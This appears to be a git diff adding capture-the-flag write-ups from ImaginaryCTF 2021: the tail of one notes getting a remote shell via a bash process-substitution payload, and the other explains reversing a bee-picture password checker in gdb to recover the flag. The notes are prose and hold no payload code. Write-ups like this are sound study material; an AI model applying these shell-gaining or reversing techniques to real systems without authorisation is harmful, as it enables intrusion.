+the <() bash operator will execute the bash command inside and treat it as a pseudo file and passes that file as an argument to cat on the command line.
+
+this drops us into a shell on the remote machine
+
+and lastly, if we keep stdin open, scanf won't actually return, so we need to add a \n to the payload to get it to flush
+
+ls shows us a flag.txt
+
+and we can cat that for the flag
diff --git a/docs/writeups/ImaginaryCTF_2021/stings.txt b/docs/writeups/ImaginaryCTF_2021/stings.txt
new file mode 100644
index 0000000..906dc21
--- /dev/null
+++ b/docs/writeups/ImaginaryCTF_2021/stings.txt
@@ -0,0 +1,35 @@
+The Service
+-----------
+we're given an executable
+
+when run, a picture of a bee is printed out and it asks us for a password
+
+if we're wrong, it exits
+
+if we're right, it also exits, but what we entered is the flag
+
+
+
+Reversing
+---------
+looking at the disassembly...
+
+there is a massive string which, after examining, seems to be the bee picture
+
+there are real stack canaries and the addresses change after first run in gdb, so pwn protections
+
+the bee picture is brought onto the stack
+
+a bunch of processing with it is done
+
+at some point it asks for input
+
+there is a loop that compares each character of the input to each character of the resulting buffer after the processing earlier
+
+it expects each character of the input to be -1 from the character in the buffer (you enter "ictf", but the buffer contains "jdug")
+
+
+
+Getting the flag from runtime memory
+------------------------------------
+we can just run the program in gdb, break before inputting, check the status of the buffer, do the character shift in python, and then we have the input it wants (and the flag)